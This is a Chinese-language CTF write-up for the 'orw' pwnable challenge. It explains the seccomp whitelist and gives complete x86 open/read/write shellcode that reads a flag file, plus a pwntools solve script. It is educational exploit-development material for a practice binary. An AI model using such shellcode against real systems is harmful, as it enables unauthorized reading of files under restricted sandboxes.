pwnable orw
就开了一个Stack 然后执行一下看看是什么功能
发现是让你输入一个shellcode 然后执行
打开IDA
int __cdecl main(int argc, const char **argv, const char **envp) { orw_seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 0xC8u); ((void (*)(void))shellcode)(); return 0; }
然后有一个orw_seccomp 函数
unsigned int orw_seccomp() { __int16 v1; // [esp+4h] [ebp-84h] BYREF _BYTE *v2; // [esp+8h] [ebp-80h] _BYTE v3[96]; // [esp+Ch] [ebp-7Ch] BYREF unsigned int v4; // [esp+6Ch] [ebp-1Ch] v4 = __readgsdword(0x14u); qmemcpy(v3, &unk_8048640, sizeof(v3)); v1 = 12; v2 = v3; prctl(38, 1, 0, 0, 0); prctl(22, 2, &v1); return __readgsdword(0x14u) ^ v4; }
这里是调用了 Seccomp 安全功能。具体的可以参考:https://zhuanlan.zhihu.com/p/363174561
可以通过 seccomp-tools 来查看哪些白名单
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
这里可以调用的为open read write
那么就可以进行构造获取flag 的文件的操作了。
系统调用号:eax
|
Name
|
args1:ebx
|
args2:ecx
|
args3:edx
|
3
|
sys_read
|
unsigned int fd
|
char *buf
|
size_t count
|
4
|
sys_write
|
unsigned int fd
|
char *buf
|
size_t count
|
5
|
sys_open
|
char __user *filename
|
int flags
|
int mode
|
完整的shellcode 如下
/* open(file='flag', oflag=0, mode=0) */ /* push b'flag\x00' */ push 1 dec byte ptr [esp] push 0x67616c66 mov ebx, esp xor ecx, ecx xor edx, edx /* call open() */ push 5 /* 5 */ pop eax int 0x80 /* read(fd='eax', buf='esp', nbytes=100) */ mov ebx, eax mov ecx, esp push 0x64 pop edx /* call read() */ push 3 /* 3 */ pop eax int 0x80 /* write(fd=1, buf='esp', n=100) */ push 1 pop ebx mov ecx, esp push 0x64 pop edx /* call write() */ push 4 /* 4 */ pop eax int 0x80
from pwn import * r =process("./orw") context.log_level = 'debug' elf = ELF('orw') shellcode = shellcraft.open('flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) shellcode = asm(shellcode) r.sendline(shellcode) r.interactive()